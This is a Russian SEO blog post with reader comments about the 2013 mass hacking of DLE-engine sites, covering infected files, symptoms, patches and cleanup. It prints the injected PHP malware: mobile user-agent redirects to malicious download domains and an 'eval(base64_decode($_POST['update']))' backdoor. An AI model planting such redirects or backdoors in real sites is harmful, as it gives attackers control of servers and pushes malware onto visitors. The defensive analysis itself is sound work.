Уязвимость в сайтах на движке dle

Суббота, 09 Фев 2013 23:08

Уязвимость в сайтах на движке dle
Как ломали сайты на  популярном новостном движке ДЛЕ, хронология событий. Совсем недавно я писал о том, что в начале месяца  было взломано огромное количество сайтов на dle, в результате чего на сайтах ничего не подозревающих владельцев,  естественно без их ведома,  прописывался вредоносный код.
Сегодня поговорим более подробно про уязвимости в сайтах на движке dle, как можно устранить последствия взлома и как его предупредить.
Как всё начиналось
В конце прошлого года на ачате появилась новость о том, что в движке ДЛЕ найдены опасные уязвимости. В конце декабря, в последних числах,  уже на сёрче появились сообщения про то, что Касперский блокирует сайты вебмастеров из-за того, что на хостинге прописался мобильный зловред statuses.ws/googleanalisys.js.
Внизу шаблона каким-то образом прописывался посторонний код:

if ($android === true) {
header(‘Location: http://file07.com/browser_update/215/browser_update’)
}

Затем код видоизменился и в файле конфига config.php появился уже такой код:

$iphone = strpos($_SERVER[‘HTTP_USER_AGENT’],”iPhone”);
$android = strpos($_SERVER[‘HTTP_USER_AGENT’],”Android”);
$palmpre = strpos($_SERVER[‘HTTP_USER_AGENT’],”webOS”);
$berry = strpos($_SERVER[‘HTTP_USER_AGENT’],”BlackBerry”);
$ipod = strpos($_SERVER[‘HTTP_USER_AGENT’],”iPod”);

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header(‘Location: http://statuses.ws/’);

Назначение данного вредоносного кода: при переходе пользователей на сайт с мобильных устройств наподобие айпода, айфона, блэкберри происходил редирект (переадресация) на сайт злоумышленника, где автоматически начиналась закачка исполняемого файла формата  .exe.

Кроме файла config.php, посторонний код поражал следующие файлы:
index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php
Причем хакерский код  прописывался как один раз в одном и том же файле,  так и два, а  на некоторых сайтах аж целых 4 раза – по 2  раза подряд в двух разных местах одного и того же файла.
Иногда также поражались и вот эти файлы:
dle_js.js, addcomments.php,  search.php.
Таким образом, получаем 9 потенциально уязвимых файлов. Но в последнее время, по-видимому, хакер что-то изменил в своём коде, и стали заражаться, кроме вышеперечисленных, ещё и файлы
/language/Russian/website.lng  и  main.tpl.
Однако идём дальше. Удаление плохого кода не помогало, поскольку уже на следующий день или даже в этот же день, он появлялся снова.
Но мир не без добрых людей, и кому-то удалось расшифровать, как злоумышленник получает доступ к сайтам. После того, как бот tehApocalypse регистрировался на нужном сайте (в данном случае, на сайте Целсофта), в дело вступал хакер. Он заливал на сайт графическую картинку, в которую уже был встроен нужный код. Затем отправлялось личное сообщение, содержащее определенный запрос, по прочтении которого срабатывал шелл. После получения доступа к сайту, картинка удалялась с сервера. Таким образом заметались следы.
(Ещё один интересный момент – на форуме советовали, как найти зараженные файлы – по дате изменения. На что получали ответ, что всё это ерунда, мол, преступники давно научились менять дату файлов после их изменения. Так вот, данный взломщик менять дату не умел или не хотел – все файлы, что я видел, имели точную дату изменения, то есть тогда, когда были изменены злоумышленником).
Однако продолжим. После такого сообщения, celsoft срочно выпустил свой знаменитый патч безопасности для закрытия данной уязвимости. Патч устранял все обнаруженные ранее уязвимости  для версии dle  9.7 и включал в себя все выпущенные ранее патчи. В нём был улучшен алгоритм фильтрации шаблонов и изменён алгоритм загрузки аватар. Картинки формата .gif отныне нельзя было загружать на сервер.
Заплатка предназначалась  только для версии dle 9.7. Однако, судя по многочисленным сообщениям пользователей на различных сео-форумах, взломы затронули все модификации  девятой версии – 9.7, 9.6, 9.5, 9.3 и т. д.
А вскоре произошло самое интересное – в сети объявился сам юзер tehApocalypse и предложил ответить на вопросы пользователейsmile.
Ответы на самые популярные вопросы были такими:
– Ради чего всё делалось? Ломал он сайты не ради славы, любимой девушки и неразделенной любви, а банально ради денег.
– Как происходил взлом? Как было описано выше, сам исполняемый код остался тайной, дабы не вводить в соблазн школьников и прочих потенциально опасных личностей, у которых вечно чешутся рукиsmile.
– Сколько сайтов было взломано и сколько заработал хакер? Взломано было очень много сайтов (ну естественно, так как сайтов на дле очень много), что касается заработка – коммерческая тайна.
Признаки взлома сайта на ДЛЕ
Как узнать,  что ваш сайт подвергся взлому? Очень просто – для этого достаточно зайти на ваш сайт с любого мобильного устройства – и если сайт был взломан, вы увидите не мобильную  версию сайта, как должно быть, а произойдет переадресация на посторонний ресурс (адреса могут быть самые разные), где вам будет предложено скачать какой-либо посторонний файл (как правило, это обновления для мобильной оперы).
А теперь о грустном.
Взломы сайтов на движке ДЛЕ вновь начались после некоторого затишья, хотя хакер пообещал, что взломов больше не повторится. Тут я вижу два варианта – кто-то начал юзать эту или похожую уязвимость или же хакер принялся за старое, а все его предыдущие сообщения о прекращении противоправной деятельности были не более чем блеф, вот только с какой целью? Выиграть время, чтобы изменить стратегии атак и переписать свой код?
За вторую версию говорит тот простой факт, что редирект происходит на те же сайты, что и раньше. Но теперь  код несколько видоизменился, и к нему добавились новые домены и новые строки.
вредоносный код в файлах dle
Теперь код выглядит так:

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header(‘Location: http://statuses.ws/’);
}if (strpos($_SERVER[‘HTTP_USER_AGENT’],”iPhone”) || strpos($_SERVER[‘HTTP_USER_AGENT’],”Android”) || strpos($_SERVER[‘HTTP_USER_AGENT’],”webOS”) || strpos($_SERVER[‘HTTP_USER_AGENT’],”BlackBerry”) || strpos($_SERVER[‘HTTP_USER_AGENT’],”iPod”)) header(‘Location: http://live-internet.ws/’);

Как видим, добавился новый домен http://live-internet.ws/.
Или же так:

$iphone = strpos($_SERVER[‘HTTP_USER_AGENT’],”iPhone”);
$android = strpos($_SERVER[‘HTTP_USER_AGENT’],”Android”);
$palmpre = strpos($_SERVER[‘HTTP_USER_AGENT’],”webOS”);
$berry = strpos($_SERVER[‘HTTP_USER_AGENT’],”BlackBerry”);
$ipod = strpos($_SERVER[‘HTTP_USER_AGENT’],”iPod”);
if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header(‘Location: http://statuses.ws/’);
}if (strpos($_SERVER[‘HTTP_USER_AGENT’],”iPhone”) || strpos($_SERVER[‘HTTP_USER_AGENT’],”Android”) || strpos($_SERVER[‘HTTP_USER_AGENT’],”webOS”) || strpos($_SERVER[‘HTTP_USER_AGENT’],”BlackBerry”) || strpos($_SERVER[‘HTTP_USER_AGENT’],”iPod”)) header(‘Location: http://yacounter.ws/’);
if(!empty($_POST[‘update’])) eval(base64_decode($_POST[‘update’]));

Продолжение. Как ломали сайты на DLE

    Подпишитесь на комментарии, чтобы не пропустить
    важный ответ:



подписка на rss RSS - подписка
    подписка twitter Twitter - подписка

Вы можете оставить отзыв или трекбек со своего сайта.

Отзывов: 39 на «Уязвимость в сайтах на движке dle»

  1. Как ломали сайты на DLE | SEO-semki пишет:

    10 Фев 2013 в 05:12

    […] Уязвимость в сайтах на движке Как видим, добавился не только новый домен yacounter.ws […]

  2. HD пишет:

    10 Фев 2013 в 05:22

    Shee detected! Вижу код одной очень интересной мобильной партнерки.

    [Ответить]

  3. Сергей пишет:

    15 Фев 2013 в 18:52

    Кроме доменов
    statuses.ws
    live-internet.ws
    yacounter.ws
    появился ещё один домен – getinternet.ws. Похоже у него пачка подобных доменов в зоне .ws, так что думаю, что это еще не последние взломы, будьте бдительны!

    [Ответить]

  4. Сергей пишет:

    15 Фев 2013 в 18:59

    Только что нашел сайт relever.ru, при заходе на который с мобилы вылазит следующее:
    Открытие “browser_update_install.jar”
    Вы собираетесь открыть:
    browser_update_install.jar
    являющийся jar File (57,4 КБ)
    из _http://mobi-service2.com
    Вы хотите сохрнаить этот файл?
    Сначала хотел написать админу, что его похакали, но там гости не могут оставлять сообщения, а регистрироваться было лень)

    [Ответить]

  5. Сергей пишет:

    15 Фев 2013 в 19:16

    warezic.ru – сломан
    secondstudio.ru – Глубина – ее называют Second Life – сломан, но такого еще не видел, предлагается не скачать джар архив, а открывается страница
    apps-best.pm/l10/?sub_id=1859&dd_id=0, где предлагается скачать обновления для мобильной оперы:
    ВНИМАНИЕ! Доступно обновление браузера!
    Ваша версия браузера устарела, дальнейшая работа может быть некорректной!
    Для получения новой версии нажмите Обновить
    Обновить Скрыть
    Пользовательское соглашение ведет на страницу _http://www.ultramobile.pm/oferta_full.html, где прописано следующее:
    Доступ к услугам является платным. Стоимость доступа к ресурсу _http://ultramobile.pm составляет 300 руб. за 30 дней использования ресурса и оплачивается посредством отправки до 3х сообщений на короткие номера, принадлежащие Контент-провайдеру ЗАО «Первый Альтерантивный». Для абонентов Билайн оплата осуществляется с помощью данного приложения посредством отправки исходящих SMS, инициируемых абонентом посредством нажатия соответствующей кнопки.
    Ну и так далее. 10 баксиков за месяц).
    При этом место фавикона вылазит значок хрома

    [Ответить]

    Оксана Reply:

    Ах, это просто ссылки так поправлены, исправила свое предыдущее сообщение.

    [Ответить]

  6. Сергей пишет:

    15 Фев 2013 в 19:25

    А также заметил другие интересные вещи:
    axalcixe.ru аккаунт приостановлен хостером _http://iphoster.ru/suspend/
    Возможные причины:
    – заблокирован из-за задолженности по оплате предоставляемых услуг;
    – неисполнение или ненадлежащее исполнение договора.
    Неужели блокировали за вражеский редирект? Может ещё и пс фильтры наложили?
    globalvisionfaith.org – христианский сайт,
    Not Found
    The requested URL /index.php was not found on this server.
    tatarschizna.com – Сайт поддержки дачников Татарщизны и окрестностей.
    – всё снесли оставили только одну строку:
    1 cp

    [Ответить]

  7. Сергей пишет:

    15 Фев 2013 в 19:43

    cs-prim.ru – Игровой портал – сломан, предлагается скачать jar-архив,
    ptk-sviazi.iatp.by – Брестский государственный колледж связи – тоже самое,
    ну и далее по списку…

    [Ответить]

  8. игнат пишет:

    22 Фев 2013 в 13:51

    Спасибо за инфу!

    [Ответить]

  9. Антон пишет:

    18 Мар 2013 в 21:25

    Взломы как продолжались, так и продолжаются. Никто даже и не думал прекращать это занятие. Коды только становятся всё изощреннее и запутаннее. :twisted:

    [Ответить]

  10. Евгений пишет:

    22 Май 2013 в 00:15

    Да уж, хакеры не спят, а все думают как бы какое западло сделать. А у меня версия 9.8 стоит, но заколебали спамщики. Каждый день обязательно несколько коментариев оставят к постам со своими ссылками. То девочек предлагают, то кино посмотреть, а иногда виагру.  ;-)

    [Ответить]

    seo Reply:

    Несколько комментариев smile На вордпресс в день несколько сот может прийти)

    [Ответить]

    Евгений Reply:

    Так на вордпрессе модерация работает, а как это осуществить в DLE?

    [Ответить]

    seo Reply:

    Вопрос заключается в том, как вообще включить модерацию комментариев в движке ДЛЕ?
    Настройка групп пользователей, выбрать нужную группу, Редактировать. На вкладке “Комментарии” в пункте “Отправлять комментарии на модерацию” отмечаем “Да”.

    [Ответить]

    Евгений Reply:

    Спасибо за подсказку, а я и не заметил где это ставится. :smile:

    [Ответить]

    seo Reply:

    А ещё лучше место капчи включить функцию Вопрос-Ответ, как мне кажется более эффективно будет.

    [Ответить]

  11. Вячеслав пишет:

    30 Май 2013 в 09:27

    Недавно избавился от данного вируса только у меня были немного другие домены ! Из за этого гугл пометил мой сайт как взломанный и уже месяц посещаемость упала ! Только вчера заметил данный вирус и убрал ! Теперь еще перепроверки гула ждать !

    [Ответить]

    seo Reply:

    Да, пометка в Гугле стоит. И на сколько упала посещаемость?

    [Ответить]

    Вячеслав Reply:

    В 2 раза упала !

    [Ответить]

    seo Reply:

    Жестоко. А в Яндексе позиции остались на том же уровне?

    [Ответить]

    Вячеслав Reply:

    Да и еще ! Мне удалось скачать его картинку через которую он совершал взлом ! Он ломал мой сайт раза 3 так как я 7 раз обновлял двиг ! В старых бекапах поискал коды в трех бекапах они присутствовали ! Видимо ему надоело и он вышел со мной на связь написав в мини чате типо твой сайт так легко взломать ! Я тогда этому не придал значения ! Понял только неделю назад когда гугл пометил сайт как взломанный ! Потом проверить сайт можно не только с телефона а еще используя расширения для Mozilla Go Moble ! Вообще кому помочь обращайтесь я теперь владею двумя кодами его картинок разных версий ! Смогу помочь ! Ну а вообще лучше проверять сайт Айболитом он эти коды находит !

    [Ответить]

    seo Reply:

    Странно, что коды картинок нашлись в трех разных бекапах. Обычно после выполнения кода картинки сразу удалялись с сервера.
    А вообще любопытно было бы глянуть данный код.

    [Ответить]

    Вячеслав Reply:

    Пишите на email отправлю 1 !

    [Ответить]

    seo Reply:

    Сюда пожалуйста:
    http://seo-semki.ru/kontakty.html

    Сергей Reply:

    Здравствуйте, можете скинуть найденные картинки на изучение martyn911(гав)yandex.ru, заранее благодарен

  12. Вячеслав пишет:

    02 Июн 2013 в 20:40

    А посещаемость может еще вернется просто гугл не перепроверил еще ! Они так и написали у сайта временно будет опущен рейтинг выдачи !

    [Ответить]

    seo Reply:

    Будем надеяться, что вернется!

    [Ответить]

  13. Вячеслав пишет:

    03 Июн 2013 в 20:27

    Еще забыл что после взлома у вас может не работать облако тегов ! Ну оно будет отображаться но при нажатии на определенный тег вы увидите
    (“Внимание, обнаружена ошибка
    По данному адресу публикаций на сайте не найдено, либо у вас нет доступа для просмотра информации по данному адресу.
    “)   
    Дело в том что в одном из кодов картинки было даже действие влияющее на файл .htaccess !  

    [Ответить]

    seo Reply:

    Очень интересно, отписал выше.

    [Ответить]

  14. kasink пишет:

    09 Сен 2013 в 00:32

    («Внимание, обнаружена ошибка
    По данному адресу публикаций на сайте не найдено, либо у вас нет доступа для просмотра информации по данному адресу.
    «)
    У меня сейчас до сих пор эта проблема,не могу решить ее.Как исправить??
    А еще заметил,что на странички с окончанием php переходит,а вот еслт html то не переходит.

    [Ответить]

    seo Reply:

    После чего возникла данная проблема, вы переезжали на другой хостинг?

    [Ответить]

    seo Reply:

    А вообще подозреваю, что проблема с файлом .htaccess.

    [Ответить]

    kasink Reply:

    нет,тупо в один прекрасный день,то ли в конце августа,то ли 1 сентября перестал сайт работать,Аваст блокировать начал его.
    Полез в файлы а там коды левые что в статье описаны.
    поудалял.
    .htaccess. новые позаливал с установочного ДЛе,
    как правильно .htaccess. его прописать чтоб для сравнения было глянуть?

    [Ответить]

    seo Reply:

    Если “левые коды” были в файле .htaccess, то видимо, вы удалили не только их, но и часть нужных правил, поэтому теперь страницы и не открываются.
    >как правильно .htaccess. его прописать чтоб для сравнения было глянуть
    Правильно надо брать не с установочного ДЛЕ, а с бекапа. Поскольку, устанавливая какие-либо расширения или моды, они могут прописать в .htaccess свои правила, которых не будет в новом, только что установленном файле. По этой же причине ни я, ни кто-то другой не могут знать, какой правильный .htaccess должен сейчас быть.
    Посмотрите последний бекап до 1 сентября.

    [Ответить]

    kasink Reply:

    Аха спасибо,так и думал. как раз у хостера смотрел есть бекапы,только я еще не разу с ними не работал,есть статейка почитать про них?

    [Ответить]

    kasink Reply:

    Скачал бекап месяной давности и там зараженные файлы.А более давних нет бекапов.

    [Ответить]

    seo Reply:

    Вы писали, что сайт перестал работать в конце августа либо 1 сентября. В таком случае месячные бекапы должны быть чистыми. Проверьте заново, нужные ли копии вы скачали.

    [Ответить]

    seo Reply:

    Бекапы – это резервные копии ваших файлов, с базами данных или без. Какой-то специальной статьи про них нет.

    [Ответить]

  15. Взлом сайта Вордпресс | SEO-semki пишет:

    19 Фев 2014 в 07:39

    […] Так что будьте умнее – учитесь на ошибках других. Авторы выпускают обновления и новые версии ЦМС не от скуки и не для удовольствия, а для таких вот именно случаев, так что не забывайте всегда обновлять свои сайты и дополнения до последней стабильной версии. Особенно это касается всех пользователей проектов под управлением Dle. […]

Ваш отзыв

http://seo-semki.ru/icons/wpml_bye.gif 
:bye:
http://seo-semki.ru/icons/wpml_good.gif 
:good:
http://seo-semki.ru/icons/wpml_negative.gif 
:negative:
http://seo-semki.ru/icons/wpml_scratch.gif 
:scratch:
http://seo-semki.ru/icons/wpml_wacko.gif 
:wacko:
http://seo-semki.ru/icons/wpml_yahoo.gif 
:yahoo:
http://seo-semki.ru/icons/wpml_cool.gif 
B-)
http://seo-semki.ru/icons/wpml_heart.gif 
:heart:
http://seo-semki.ru/icons/wpml_rose.gif 
:rose:
http://seo-semki.ru/icons/wpml_smile.gif 
:-)
http://seo-semki.ru/icons/wpml_whistle3.gif 
:whistle:
http://seo-semki.ru/icons/wpml_yes.gif 
:yes:
http://seo-semki.ru/icons/wpml_cry.gif 
:cry:
http://seo-semki.ru/icons/wpml_mail.gif 
:mail:
http://seo-semki.ru/icons/wpml_sad.gif 
:-(
http://seo-semki.ru/icons/wpml_unsure.gif 
:unsure:
http://seo-semki.ru/icons/wpml_wink.gif 
;-)